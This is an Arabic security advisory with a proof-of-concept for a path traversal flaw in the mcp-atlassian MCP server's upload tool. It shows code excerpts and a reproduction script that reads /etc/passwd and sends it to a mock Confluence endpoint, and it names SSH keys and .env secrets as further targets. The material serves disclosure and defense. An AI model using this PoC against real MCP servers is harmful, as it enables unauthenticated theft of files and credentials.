
إثبات مفهوم لاستغلال قراءة ملفات عشوائية في mcp-atlassian عبر اجتياز المسار في confluence_upload_attachment، مع سكربتات تحليل وإعادة إنتاج.
الخطورة: عالية (CVSS 8.6)
CWE: CWE-22 — اجتياز المسار
المتأثر: sooperset/mcp-atlassian < 0.22.0
تم الإصلاح في: 0.22.0
الاستشارة: GHSA-p6hp-93wp-fh6p
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-77262
الفضل يعود إلى: Romain Deperne
تمرر أداة MCP الخاصة بـ confluence_upload_attachment وسيط file_path مباشرة إلى open(file_path, "rb") دون أي تحقق من المسار. يمكن للمهاجم الذي يستطيع استدعاء الأداة قراءة ملفات تعسفية من نظام ملفات الخادم وإخراجها عبر تحميل متعدد الأجزاء إلى نقطة نهاية Confluence يتحكم بها المهاجم. يقوم النقل الافتراضي streamable-http بربط 0.0.0.0 دون مصادقة، مما يجعل هذا قابلاً للاستغلال عن بُعد دون بيانات اعتماد.
هذا هو التوأم المتماثل لجهة القراءة للثغرة المُصلحة سابقًا GHSA-xjgw-4wvw-rgm4 — تغطية إصلاح v0.17.0 مسار الكتابة/التنزيل فقط. بقي مسار التحميل دون حماية.
كان mcp-atlassian قد تلقى بالفعل إصلاحًا لاجتياز المسار في v0.17.0 (GHSA-xjgw-4wvw-rgm4)، والذي صَحّح مسار الكتابة — تنزيل المرفقات إلى القرص المحلي. فرضيتي: عندما يُطبَّق إصلاح على اتجاه واحد من عملية متماثلة، غالبًا ما يُغفل الاتجاه الآخر.
أظهرت مراجعة مواقع استدعاء open( في attachments.py أن مسار التنزيل يستدعي validate_safe_path(local_path) قبل فتح ملف، بينما مسار التحميل لا يفعل ذلك. كان الاتجاهان غير متسقين في التحقق من المسار.
أكد تعريف الأداة ذلك: file_path: Annotated[str, Field(description="Absolute path to the file to upload")] دون قيد pattern=، دون مُتحقق، دون أي شيء. الحقل موثق حرفيًا على أنه يقبل مسارًا مطلقًا دون أي تقييد.
أعدت إنتاجها من البداية إلى النهاية: شغّلت عملية خادم mcp-atlassian الحقيقية، وقُدتها بعميل MCP stdio (mcp.ClientSession)، ووجهتها إلى نقطة نهاية Confluence HTTP وهمية محلية، واستدعيت confluence_upload_attachment مع file_path=/etc/passwd. سجّل الخادم الوهمي محتوى /etc/passwd الكامل في نص multipart. عمليتا إعادة إنتاج كاملتان، كلتاهما مسجلتان في ملفات PoC.
الربط الافتراضي HOST=0.0.0.0 دون مصادقة يجعل هذا قابلاً للاستغلال عن بُعد دون بيانات اعتماد في النشر الافتراضي.
الملف: src/mcp_atlassian/confluence/attachments.py، السطر 477
with open(file_path, "rb") as fp: # ← file_path يتحكم به المهاجم
files = {"file": (filename, fp, content_type)}
response = self.confluence.session.post(url, files=files, ...)
تعريف الأداة (src/mcp_atlassian/servers/confluence.py:1307):
file_path: Annotated[str, Field(description="Absolute path to the file to upload")]
# لا pattern=، لا مُتحقق، لا validate_safe_path()
عدم التماثل مع مسار التنزيل المُصلح:
# attachments.py:223 — مُصلح (مسار التنزيل)
validate_safe_path(local_path) # ← الحماية أُضيفت في v0.17.0
open(local_path, "wb")
# attachments.py:477 — ثغرة (مسار التحميل)
open(file_path, "rb") # ← لا حماية، أُغفلت في v0.17.0
أضاف إصلاح v0.17.0 لـ GHSA-xjgw-4wvw-rgm4 استدعاءات validate_safe_path() على جهة الكتابة (تنزيل المرفقات إلى القرص المحلي) لكنه لم يدقق جهة القراءة (تحميل الملفات المحلية إلى Confluence). مُزيّن check_write_access غير ذي صلة — فهو يقيّد READ_ONLY_MODE فقط.
التعرض الشبكي الافتراضي (src/mcp_atlassian/__init__.py:151):
HOST = "0.0.0.0" # يربط جميع الواجهات
# لا طبقة مصادقة في نقل streamable-http
أُعيد إنتاجها بالكامل من البداية إلى النهاية ضد نقطة نهاية HTTP وهمية محلية تحاكي واجهة برمجة تطبيقات Confluence. انظر mcp_client.py، وmock_confluence.py، وpoc_run1.sh.
# poc_run1.sh — يقرأ /etc/passwd عبر confluence_upload_attachment
# 1. تشغيل نقطة نهاية Confluence الوهمية
python mock_confluence.py &
# 2. استدعاء أداة MCP مع حمولة اجتياز المسار
python mcp_client.py \
--tool confluence_upload_attachment \
--page-id 123456 \
--file-path /etc/passwd \
--filename passwd.txt
# → تظهر محتويات /etc/passwd في سجل mock_confluence.py
/etc/passwd، مفاتيح SSH، .env، أسرار التطبيق)streamable-http الافتراضي يربط 0.0.0.0، دون مصادقة؛ يمكن لأي مهاجم يمكن الوصول إليه عبر الشبكة استدعاء أدوات MCP مباشرة